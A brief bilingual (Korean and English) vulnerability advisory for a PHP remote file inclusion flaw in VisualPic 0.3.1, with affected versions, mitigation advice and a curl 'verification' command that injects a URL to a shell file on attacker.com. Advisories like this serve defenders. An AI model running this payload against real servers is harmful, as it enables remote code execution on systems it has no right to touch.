🇰🇷 한글 설명
VisualPic 0.3.1의 index.php에서 _CONFIG[files][functions_page] 매개변수를 통해 원격 파일을 포함(RFI)할 수 있는 취약점입니다. 공격자는 이를 악용하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
VisualPic 웹사이트 프로그램의 설정 부분에서 외부 파일을 불러올 수 있는 구멍이 있습니다. 해커가 이 구멍을 통해 자신의 악성 코드를 실행하도록 만들 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in VisualPic 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the _CONFIG[files][functions_page] parameter.
📍 영향받는 시스템
VisualPic 0.3.1 이하 버전
⚔️ 공격 벡터
_CONFIG[files][functions_page] 매개변수에 원격 PHP 파일 URL을 입력하여 원격 코드 실행 (RFI attack)
🛡️ 대응 방법
VisualPic를 최신 버전으로 업그레이드하고, 원격 파일 포함을 차단하도록 PHP 설정(allow_url_include=Off)을 변경합니다.
🔧 검증 코드
응답에 PHP 에러나 경고 메시지가 나타나거나 원격 파일의 내용이 포함되면 취약점이 존재합니다.
curl -s 'http://target/index.php?_CONFIG[files][functions_page]=http://attacker.com/shell.php' | grep -i 'error\|warning\|success'